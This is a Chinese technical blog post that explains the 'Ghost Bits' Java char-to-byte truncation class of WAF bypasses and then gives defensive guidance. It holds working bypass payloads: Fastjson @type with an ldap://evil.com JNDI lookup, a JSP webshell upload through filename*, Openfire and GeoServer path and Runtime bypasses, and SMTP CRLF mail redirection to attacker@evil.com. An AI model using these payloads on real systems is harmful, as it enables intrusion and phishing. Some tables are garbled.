原文PDF文件:Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
Cast Attack 技术全解:Ghost Bits 如何撕裂 Java 安全边界
从底层位运算到企业级防御体系——基于 Asia-26-Bai-Cast-Attack-Ghost-Bits 的完整技术解读

零、引言:一个让安全产品集体失语的字符
2024年,某企业安全团队遇到一件诡异的事:
攻击者上传了一个名为 1.陪sp 的文件。WAF看了,说:”不是jsp,放行。”
IDS看了,说:”没有攻击特征,正常。”
后端Java程序看了,说:”好的,保存为 1.jsp。”
第二天,服务器上多了一个WebShell。
安全团队复盘时发现问题根源:陪 这个汉字的Unicode是 U+966A,它的低8位恰好是 0x6A——ASCII字母 j。当Java代码把16位的 char 错误地当成8位的 byte 写入时,高8位像幽灵一样消失了。
这就是 Ghost Bits(幽灵比特位),一种由 “字符视图”与”字节视图”不一致 引发的全新攻击模式。它不是一个CVE,而是一整类架构级缺陷。
本文基于 Asia-26-Bai-Cast-Attack-Ghost-Bits 议题的56页技术内容,结合代码审计视角、红蓝对抗实践和企业防御体系,做完整深度解读。
一、根因分析:为什么Java的char是16位,但世界却按8位运行?
1.1 Java char的本质:UTF-16 Code Unit
Java的 char 类型是 16位无符号整数,采用UTF-16编码。这意味着:
char c = '陪'; // 实际存储的是 0x966A
而网络协议、文件系统、HTTP/1.1、SMTP、Redis RESP等绝大多数底层协议,都是面向字节(8位)设计的。
当Java程序需要把字符串写入这些协议时,正确的做法是通过字符集编码:
// 正确做法:按UTF-8编码,多字节字符会被编码为3-4个字节
byte[] bytes = "陪".getBytes(StandardCharsets.UTF_8); // 得到 E9 99 AA
outputStream.write(bytes);
但很多老代码、工具库、框架为了”方便”或”性能”,直接做了窄化转换:
// 危险做法:直接截断,高8位丢失
byte b = (byte) c; // 0x966A → 0x6A
outputStream.write(c); // 内部同样只写低8位
1.2 Ghost Bits 的数学表达
设攻击者想要底层协议看到目标字节 target_byte,他只需要找到一个Unicode字符 c 满足:
c = (k << 8) | target_byte
其中 k 可以是任意值(0x01-0xFF)。这意味着对于每一个危险ASCII字符,攻击者有255个不同的Unicode字符可以选择。
关键映射表(红队武器库):
| 目标字节 | Hex | 危险语义 | 示例Ghost Bits字符 | Unicode |
|---|---|---|---|---|
. |
0x2E | 路径穿越、扩展名 | 阮 | U+962E |
/ |
0x2F | 目录分隔 | 丯 | U+4E2F |
% |
0x25 | URL编码、二次解码 | 严 | U+4E25 |
@ |
0x40 | Fastjson @type | 䀀 | U+4000 |
| ` | ||||
| ` | 0x0D | CRLF注入 | 瘍 | U+760D |
| ` | ||||
| ` | 0x0A | CRLF注入 | 瘊 | U+760A |
j |
0x6A | JSP扩展名 | 陪 | U+966A |
s |
0x73 | class关键字 | ⑳ | U+2473 |
l |
0x6C | class关键字 | ౬ | U+0C6C |
a |
0x61 | class关键字 | ᙡ | U+1661 |
1.3 “视图差”模型:所有绕过的统一本质
Ghost Bits攻击能成功的根源,是系统中存在至少两个不一致的视图:
┌─────────────────────────────────────────┐
│ 视图A:字符串层(WAF/业务校验/日志) │
│ 看到:陪、阮、瘍、严... │
│ 判断:无害,放行 │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ 视图B:字节层(底层协议/文件系统/解析器) │
│ 看到:j、.、%、
... │
│ 执行:危险语义 │
└─────────────────────────────────────────┘
安全边界被穿越的时刻,就是”检查语义”与”执行语义”发生分叉的时刻。
二、三类技术根因:高位截断、位运算折叠、宽松归一化
原文档把多种现象统一在Ghost Bits框架下,但从代码审计角度,需要区分三类不同的底层触发机制:
类型A:真实的高位截断(Classic Ghost Bits)
触发代码模式:
// 模式1:强制类型转换
byte b = (byte) ch;
// 模式2:位运算掩码
int v = ch & 0xFF;
// 模式3:OutputStream.write(int) —— 只写低8位
out.write(ch);
// 模式4:DataOutputStream.writeBytes(String)
dos.writeBytes(str); // 逐字符写低8位,高8位丢弃
// 模式5:已废弃API
String.getBytes(int, int, byte[], int);
StringBufferInputStream.read();
RandomAccessFile.writeBytes();
典型案例:Tomcat filename* 解析、Lettuce Redis写入、SMTP CRLF注入。
类型B:位运算优化导致的非法字符折叠
触发代码模式:
// Jetty的Hex解码优化(简化示意)
int fromHexDigit(char c) {
return (c & 0x1F) + ((c >> 6) * 25) - 16;
}
问题:当 c = '>' 时:
'>' = 0x3E
0x3E & 0x1F = 0x1E = 30
30 + (0 * 25) - 16 = 14 = 0xE
所以非法的 %2> 被”容错”解析为合法的 %2E(.)。
典型案例:Openfire CVE-2023-32315、GeoServer CVE-2024-36401。
类型C:宽松Unicode解析/归一化
触发代码模式:
// Fastjson的Character.digit过于宽松
Character.digit(c, 16); // 接受泰文数字、旁遮普数字等
// Jackson的charToHex映射
return sHexValues[ch & 0xff]; // 非ASCII字符通过掩码查表
// 全角字符归一化
// 2(全角) → 2, e(全角) → e, f(全角) → f
典型案例:Fastjson u escape绕过、全角URL编码绕过。
三、WAF Bypass 技术矩阵:逐层拆解
3.1 BCEL 类加载绕过(字节码层面的Ghost Bits)
背景:Apache Commons BCEL(Byte Code Engineering Library)允许通过特殊编码的字符串动态加载类。格式为 $$BCEL$$ 后跟编码后的字节码。
漏洞代码:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
CharArrayReader car = new CharArrayReader(chars); // chars是用户输入
JavaReader jr = new JavaReader(car);
while ((ch = jr.read()) >= 0) {
bos.write(ch); // ⚠️ 只写低8位!
}
攻击链:
| 阶段 | WAF看到 | BCEL解码器看到 | JVM看到 |
|---|---|---|---|
| 输入 | $$BCEL$$陪陪陪...(大量中文) |
低8位字节流 | 可执行字节码 |
| 特征 | 无SQL/命令注入特征 | 标准BCEL格式 | 恶意类加载 |
红队利用:攻击者将恶意字节码的每个字节包装成高8位任意的Unicode字符。WAF看到的是”乱码字符串”,BCEL解码后却是完整的RCE字节码。
防御要点:WAF必须模拟BCEL的 write(ch) 行为,提取低8位后重新检测。
3.2 Jackson charToHex 绕过(映射表层面的Ghost Bits)
背景:Jackson处理JSON中的Unicode转义序列 uXXXX 时,使用查表法将字符映射为Hex值。
漏洞代码:
// 简化示意
private static final int[] sHexValues = new int[128];
// ... 初始化只填充了ASCII范围
public static int charToHex(int ch) {
return sHexValues[ch & 0xFF]; // ⚠️ 非ASCII字符通过掩码查表!
}
攻击构造:
| 攻击者输入 | Unicode | ch & 0xFF | sHexValues结果 | 组合意义 |
|---|---|---|---|---|
| 丰 | U+4E30 | 0x30 | 0 |
两位组合成 |
| 丰 | U+4E30 | 0x30 | 0 |
00 |
| 耳 | U+8033 | 0x33 | 3 |
|
| 失 | U+5931 | 0x31 | 1 |
丰丰耳失 → 0031 → 经过Jackson解析后可能变成 1。
完整利用链:
{
"field": "u丰丰耳失 union select 1,2,3--"
}
| 检查阶段 | 看到的内容 |
|---|---|
| WAF | u丰丰耳失 union select...(无数字开头,可能放行) |
| Jackson解析后 | 1 union select 1,2,3--(SQL注入Payload) |
3.3 Fastjson u Escape 绕过(宽松数字解析)
背景:Fastjson处理JSON的 u 转义时,调用 Character.digit(c, 16) 解析Hex数字。
关键问题:Character.digit() 不仅接受 0-9a-fA-F,还接受其他Unicode数字字符,如:
- 泰文数字:
๐-๙(U+0E50-U+0E59) - 旁遮普数字:
੦-੯(U+0A66-U+0A6F) - 全角数字:
0-9(U+FF10-U+FF19)
攻击效果:
| WAF视图 | Fastjson视图 |
|---|---|
u4_type(含全角字符) |
全角4被解析为4,得到x4_type |
看不到@type特征 |
后续解析得到@type,触发反序列化 |
3.4 Fastjson x Escape 绕过(非法字符默认值)
背景:Fastjson支持非标准的 x 转义(类似C语言)。
漏洞代码:
int x_val = digits[x1] * 16 + digits[x2];
问题:当 x2 是非法Hex字符(如 _)时,digits[x2] 返回默认值 0。
攻击构造:
x4_ → x1='4'(4), x2='_'(0) → 4*16+0=64 → '@'
Payload:
{"x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://evil.com"}
WAF看到的是 x4_type,Fastjson看到的是 @type。
3.5 Tomcat filename* 文件上传绕过(协议解析层面的Ghost Bits)
背景:RFC 2231 定义了 filename*=charset'lang'value 格式的编码文件名。
Tomcat解析代码(简化):
if (c == '%') {
// 处理percent-encoding
int b1 = hexDigit(str.charAt(i++));
int b2 = hexDigit(str.charAt(i++));
out.write((b1 << 4) | b2);
} else {
out.write((byte) c); // ⚠️ 直接截断!
}
攻击构造:
Content-Disposition: attachment; filename*="UTF-8''1.陪sp"
视图差异:
| 阶段 | 文件名 |
|---|---|
| WAF/扩展名检查 | 1.陪sp(不是jsp,放行) |
| Tomcat RFC2231解析 | 陪 → 低8位 0x6A → j |
| 文件系统落地 | 1.jsp |
延伸思考:如果配合路径穿越 ../../陪 → ../../j,可以直接写入Web目录。
3.6 全角URL编码绕过(归一化层面的Ghost Bits)
攻击Payload:
%2e%2e%2f
字符映射:
2(U+FF12,全角2)→ 归一化为2e(U+FF45,全角e)→ 归一化为ef(U+FF46,全角f)→ 归一化为f
解码结果:%2e%2e%2f → ../
适用场景:某些WAF只做ASCII级别的URL解码检查,没有处理全角字符的预归一化。
3.7 Ghost-Bit URL Encoding:%2> 变 .(位运算折叠)
Jetty Hex解码逻辑(问题代码):
private static int fromHexDigit(char c) {
int x = c & 0x1F; // 只取低5位
x += (c >> 6) * 25;
x -= 16;
return x; // 期望0-15,但非法字符也会算出值
}
数学推导:
字符 '>' = 0x3E = 0011 1110
0x3E & 0x1F = 0x1E = 30(十进制)
c >> 6 = 0
30 + 0 - 16 = 14 = 0xE
所以 %2> → %2E → .
WAF绕过优势:
- 传统WAF拦截
%2e、..、%u002e %2>看起来像”损坏的编码”,常被忽略或放行
3.8 Base64 解码绕过(索引表层面的Ghost Bits)
JDK内部Base64解码器代码:
byte[] pem_convert_array = new byte[256];
// ... 初始化只填充ASCII范围
// 解码时:
int b = pem_convert_array[decode_buffer[i] & 255];
攻击构造:
| Unicode字符 | Unicode | 低8位 | Base64字符 |
|---|---|---|---|
| ō | U+014D | 0x4D | M |
| Ř | U+0158 | 0x58 | X |
| Ŗ | U+0156 | 0x56 | V |
| Ŭ | U+016C | 0x6C | l |
ōŘŖŬ → 低8位 4D 58 56 6C → Base64字符串 MXVl
攻击链:
WAF看到:ōŘŖŬ(无Base64特征,放行)
解码器看到:MXVl(标准Base64文本)
后续解析:Base64解码后的恶意内容
3.9 GeoServer CVE-2024-36401 绕过
背景:GeoServer的某些表达式执行需要 Runtime 关键字。
WAF拦截规则:
拦截:Runtime
拦截:java.lang.Runtime.getRuntime()
Ghost Bits绕过:
Ru%6>time
解析过程:
- WAF看到:
Ru%6>time(没有Runtime,放行) - Jetty URL解码:
%6>→%6e→n - 最终结果:
Runtime - GeoServer表达式执行:危险调用链成立
3.10 Spring4Shell WAF 绕过
背景:Spring4Shell利用链需要构造特定的参数名:
class.module.classLoader.resources.context.parent.pipeline.first.directory
WAF通常拦截:class
Ghost Bits变形:
| 目标字符 | Ghost Bits字符 | Unicode | 低8位 |
|---|---|---|---|
| c | 㹣 | U+3E63 | 0x63 |
| l | ౬ | U+0C6C | 0x6C |
| a | ᙡ | U+1661 | 0x61 |
| s | ⑳ | U+2473 | 0x73 |
| s | ⑳ | U+2473 | 0x73 |
Payload:㹣౬ᙡ⑳⑳ → 低8位 class
注入位置:multipart表单的 Content-Disposition: form-data; name*=...
四、真实漏洞深度复盘

4.1 Openfire CVE-2023-32315:认证绕过的双重幽灵
漏洞背景:Openfire Admin Console使用 AuthCheckFilter 做访问控制,维护了一个Exclusion List。路径如 /setup/setup-* 可跳过认证。
传统绕过(已知):
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
Jetty将 %u002e 解码为 .,路径穿越到管理后台JSP。
Ghost Bits进阶绕过(更隐蔽):
/setup/setup-s/%2>%2>/%2>%2>/log.jsp
为什么这个Payload更难防?
| 维度 | %u002e | %2> |
|---|---|---|
| WAF可见性 | 高,常被规则覆盖 | 低,像非法噪声 |
| 依赖条件 | 需要容器支持%u解码 | 依赖Jetty宽松hex算法 |
| 变形空间 | 较固定 | 存在%2^、%2~等类似折叠 |
| 规则绕过率 | 低 | 极高 |
根因代码分析:
Jetty的 TypeUtil.fromHexDigit() 为了性能使用位运算,但缺少范围校验。这属于类型B:位运算折叠。
防御启示:黑名单匹配 ..、%2e、%u002e 永远不够,必须使用与真实后端一致的严格规范化流程。
4.2 Spring CVE-2025-41242:任意文件读取的时间差攻击
补丁线索:GitHub PR #34673 修复了 StringUtils.uriDecode 中的十六进制序列解码逻辑。
Payload构造:
阮严灵丰丰甲来
逐字符解析:
| 字符 | Unicode | 低8位 | ASCII | 作用 |
|---|---|---|---|---|
| 阮 | U+962E | 0x2E | . |
路径点 |
| 严 | U+4E25 | 0x25 | % |
URL编码前缀 |
| 灵 | U+7075 | 0x75 | u |
Unicode编码 |
| 丰 | U+4E30 | 0x30 | 0 |
|
| 丰 | U+4E30 | 0x30 | 0 |
组合成 00 |
| 甲 | U+7532 | 0x32 | 2 |
|
| 来 | U+6765 | 0x65 | e |
组合成 2e |
转换链:
阮严灵丰丰甲来 → .%u002e → .. → 路径穿越
“时间差”与”双重解析”模型:
阶段1:Spring检查前
路径:/.%u002e/
isInvalidPath()检查:没有字面量../,判定安全
阶段2:底层解析
%u002e → . → 路径折叠为 ../../
阶段3:文件系统访问
目录穿越成功,读取/etc/passwd等敏感文件
核心问题:安全检查发生在最终规范化之前,中间存在可被利用的语义差。
4.3 SMTP 协议注入:企业邮件系统的”官方钓鱼”
根因代码:ASCIIUtility.java 中的强制类型转换
// Jakarta Mail / Angus Mail 内部
byte b = (byte) ch; // 16位char → 8位byte,高8位丢失
CRLF制造字符:
瘍= U+760D → 低8位0x0D→瘊= U+760A → 低8位0x0A→
攻击场景:
场景A:Jira邮件劫持(CVE-2025-57733)
攻击者在邮箱字段注入:
user@company.com瘍瘊Subject: 密码重置验证瘍瘊To: attacker@evil.com瘍瘊瘍瘊您的验证码是:1234
SMTP层实际看到:
RCPT TO:<user@company.com>
Subject: 密码重置验证
To: attacker@evil.com
您的验证码是:1234
危害分析:
| 维度 | 结果 |
|---|---|
| 发件人 | 企业真实Jira邮箱 |
| 邮件认证 | SPF / DKIM / DMARC 全部正常通过 |
| 收件人感知 | 完全像真实系统通知 |
| 攻击类型 | 高可信钓鱼、凭据窃取、业务流程劫持 |
场景B:Confluence域名限制绕过
企业规则:只允许 @company.com 邮箱注册。
攻击者输入:
hacker瘍瘊RCPT TO: attacker@evil.com瘍瘊@company.com
业务层校验:字符串以 @company.com 结尾,通过。
SMTP传输层:瘍瘊 变成CRLF,真实投递到 attacker@evil.com。
4.4 HTTP 请求走私:Apache HttpClient ≤4.5.9
漏洞编号:HTTPCLIENT-1974 / HTTPCLIENT-1978
攻击构造:
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1
Host: internal-api.company.com
Content-Length: 0
GET /public HTTP/1.1
底层字节化后:
X-Auth-Token: 1
POST /admin HTTP/1.1
Host: internal-api.company.com
Content-Length: 0
GET /public HTTP/1.1
前端代理视图:1个请求,Header值包含换行。
后端服务器视图:2个独立请求。
4.5 JDK HttpServer 响应头注入(CVE-2026-21933)
攻击链:
- 服务端把用户输入反射到响应头
- 用户输入:
瘍瘊Content-Type: text/html瘍瘊Content-Length: 100瘍瘊瘍瘊<script>alert(1)</script> - 底层写响应时变成CRLF
- 响应结构被改写:
HTTP/1.1 200 OK
Custom-Header: Cu
Content-Type: text/html
Content-Length: 100
<script>alert(1)</script>
升级路径:响应头注入 → 响应体可控 → XSS攻击。
五、自动化发现:Secrux 与代码审计方法论

5.1 高危代码模式搜索(SAST关键词)
第一梯队(直接截断):
(byte) ch
(byte) c
& 0xff
& 255
ch & 0xFF
第二梯队(API级风险):
OutputStream.write(int)
ByteArrayOutputStream.write(int)
DataOutputStream.writeBytes(String)
RandomAccessFile.writeBytes(String)
StringBufferInputStream
String.getBytes(int, int, byte[], int) // 已废弃但老项目可能还有
第三梯队(解码器宽松):
URLDecoder.decode
Character.digit(c, 16)
convertHexDigit
fromHex
uriDecode
5.2 风险判定五维模型
定位到可疑代码后,按以下维度判断:
| 维度 | 高风险标志 | 低风险标志 |
|---|---|---|
| 输入可控性 | HTTP参数、Header、文件名、邮件地址、JSON/XML字段 | 硬编码配置、内部常量 |
| 安全校验 | 有WAF/黑名单/后缀检查,但检查在转换之前 | 无校验,或校验在转换之后 |
| 转换时机 | 检查之后发生转换 | 转换之前已做严格ASCII白名单 |
| 语法边界 | 结果进入协议语法(URL、SMTP、HTTP、Redis、文件系统) | 仅用于日志记录、展示文本 |
| 二次解析 | 存在Base64、URL decode、JSON escape、%u等二次解码 | 一次解析后直接使用 |
风险公式:
用户可控 + 检查在转换前 + 转换后进协议语法 + 二次解析 = 高危
5.3 差异测试(Differential Testing)方法论
测试字符集:
| 目标字节 | 测试字符 | Unicode | 测试Payload |
|---|---|---|---|
. |
阮 | U+962E | ../../阮 |
% |
严 | U+4E25 | 严2e |
u |
灵 | U+7075 | 灵002e |
0 |
丰 | U+4E30 | 丰丰 |
2 |
甲 | U+7532 | 甲 |
e |
来 | U+6765 | 来 |
j |
陪 | U+966A | 1.陪sp |
| ` | |||
| 瘍瘊 | U+760D/U+760A |瘍瘊` |
自动化思路:
# 伪代码:Ghost Bits生成器
def generate_ghost_bits(target_byte):
candidates = []
for high_byte in range(0x01, 0x100):
unicode_char = chr((high_byte << 8) | target_byte)
candidates.append(unicode_char)
return candidates
# 为每个危险字节生成255个候选字符,进行协议差异测试
dangerous_bytes = [0x2E, 0x2F, 0x25, 0x40, 0x0D, 0x0A, 0x22, 0x27]
六、防御体系:从代码到架构的五层防护

6.1 开发层:禁止手写 (byte) char
危险代码清单:
// ❌ 绝对禁止
out.write(ch);
out.write((byte) ch);
dataOutputStream.writeBytes(str);
int v = ch & 0xff;
// ❌ 已废弃API
String.getBytes(int, int, byte[], int);
new StringBufferInputStream(str);
raf.writeBytes(str);
正确范式:
// ✅ 显式编码
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
outputStream.write(bytes);
// ✅ ASCII白名单(适用于协议控制字段)
for (int i = 0; i < str.length(); i++) {
if (str.charAt(i) > 0x7F) {
throw new IllegalArgumentException(
"Non-ASCII character not allowed in protocol field: " + str.charAt(i)
);
}
}
6.2 解码器层:严格拒绝非法输入
| 场景 | 危险做法 | 正确做法 |
|---|---|---|
| URL %xx | %2> → 容错为 %2E |
非法编码直接抛异常 |
| Hex解析 | 非[0-9A-Fa-f] → 默认0 |
拒绝并记录 |
| Base64 | 非标准alphabet → &255查表 | 拒绝非法字符 |
| JSON escape | x4_ → 默认digit=0 |
拒绝非法hex |
| Unicode digit | 泰文数字 → 当作hex digit | 只接受ASCII 0-9A-Fa-f |
原则:不能解析就失败,不要猜测和容错。
6.3 校验顺序层:先规范化,再校验
错误流程:
原始输入 → 安全检查 → URL解码/Unicode规范化 → 执行
正确流程:
原始输入
↓
严格解码(拒绝非法编码)
↓
Unicode规范化(NFC/NFKC)
↓
协议规范化(URL路径规范化、文件路径resolve)
↓
安全校验(基于最终形态)
↓
执行
关键检查点:
- [ ] 校验后是否还有第二次解码?
- [ ] 校验前是否已完成所有归一化?
- [ ] 路径校验是否基于
File.getCanonicalPath()?
6.4 协议字段层:严格Allowlist
| 位置 | 建议策略 |
|---|---|
| HTTP Header名/值 | 禁止CR/LF;限制ASCII可见字符(0x20-0x7E) |
| SMTP地址/Envelope | 禁止CR/LF;IDN域名需punycode编码后处理 |
| URL Path | 严格percent-decode;拒绝非法编码;规范化后检查../ |
| 文件名/filename* | 按RFC 5987严格解析;落盘前再次检查扩展名 |
| JSON Key | 禁止宽松escape;安全逻辑不基于解析前文本 |
| XML Tag | 不允许通过低字节转换生成标签名 |
| Redis/MQ协议 | 使用库的安全编码路径,禁止手写char→byte |
6.5 WAF/安全产品层:模拟后端解析链
多视图归一化引擎:
# 概念模型:WAF的多视图检测
def multi_view_detect(input_string):
views = {
"original": input_string,
"low_byte": extract_low_byte_view(input_string), # char & 0xFF
"fullwidth": normalize_fullwidth(input_string), # 全角→半角
"url_decode": strict_url_decode(input_string),
"unicode_escape": parse_unicode_escape(input_string),
"base64_like": extract_base64_like_sequences(input_string)
}
for view_name, view_content in views.items():
if contains_dangerous_semantic(view_content):
return Alert(view_name, view_content, threat_level="HIGH")
return Safe()
高危信号:
- 原始视图安全,但
lowByteView中出现../、@type、Runtime、union select、 - 存在
%2>、%6>等非法percent-encoding - 存在大量高位非零但低8位为危险字节的Unicode字符
七、企业排查SOP:从应急响应到SDL
7.1 应急响应排查清单(24小时)
Step 1:日志回溯(0-4小时)
- [ ] 回溯近30天日志,搜索含非ASCII字符的HTTP参数、Header、文件名
- [ ] 重点检查:
filename*、Content-Disposition、URL Path、邮件地址字段 - [ ] 正则:
[-](高位非零字符)
Step 2:组件版本确认(4-8小时)
- [ ] Tomcat:检查RFC2231解析逻辑版本
- [ ] Spring Framework:确认是否包含PR #34673修复
- [ ] Apache HttpClient:确认版本 > 4.5.9
- [ ] JDK HttpServer:确认CVE-2026-21933修复状态
- [ ] Openfire:确认 ≥ 4.7.5(假设修复版本)
- [ ] GeoServer:确认 ≥ 2.24.2(假设修复版本)
Step 3:代码审计(8-16小时)
在项目代码中搜索:
# Java项目
grep -r "writeBytes|& 0xff|& 255|(byte)" --include="*.java" ./src
grep -r "Character.digit|fromHex|uriDecode" --include="*.java" ./src
Step 4:WAF规则加固(16-24小时)
- 增加
lowByteView检测规则 - 拦截含
%2>、%6>等非法编码的请求 - 对
filename*字段增加扩展名校验(基于解码后文件名)
7.2 SDL建设:从源头消除Ghost Bits
编码规范:
- 强制规定:所有协议字节写入必须使用
getBytes(Charset),禁止直接(byte) ch - Code Review Checklist:新增Ghost Bits检查项
- SAST规则:在SonarQube/Checkmarx中配置
(byte) ch、& 0xFF告警
架构设计:
- 统一网关:在API Gateway层完成所有解码、归一化、校验,后端只接收已清洗数据
- 协议适配器:邮件、Redis、HTTP等协议客户端使用官方库的最新安全版本
- 输入净化:对所有外部输入在进入业务逻辑前做严格字符集过滤
八、总结:Ghost Bits 的本质与防御第一性原理
Ghost Bits / Cast Attack 的核心公式:
Java 16位char → 被错误当成8位byte → 高位静默丢失
→ 低位变成危险语法字符 → 安全检查与真实执行不一致
它不是某个具体的CVE,而是Java生态中“Unicode字符串 → 低8位协议字节”错误路径的系统性体现。
防御的第一性原理:
不要让”检查时看到的字符串”和”执行时使用的字节”不一致。
落地到工程实践:
| 层级 | 行动 |
|---|---|
| 代码 | 禁止手写 (byte) char,使用显式字符集编码 |
| 解码器 | 非法输入必须失败,禁止容错折叠 |
| 校验 | 所有安全校验发生在最终规范化之后 |
| 架构 | WAF必须模拟后端解析链,检测视图差异 |
| 企业 | 把邮件发送、路径解析、文件上传、Header写入作为重点排查面 |
只要Java生态中仍然存在 char→byte 的错误转换,Ghost Bits 就会继续在新的组件、新的漏洞链中复活。现在看到的,只是开始。
参考来源:Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
演讲者:Xinyu Bai (B1u3r/浅蓝)、Zhihui Chen (1ue / Alibaba Cloud)
贡献者:Zongzheng Zheng (SpringKill)
如果你正在做Java代码审计,建议立刻搜索项目中的 (byte) ch、& 0xff、writeBytes —— 每一个都可能是沉睡的幽灵。
#GhostBits #CastAttack #Java安全 #WAF绕过 #代码审计 #企业安全建设 #红蓝对抗















- 最新
- 最热
只看作者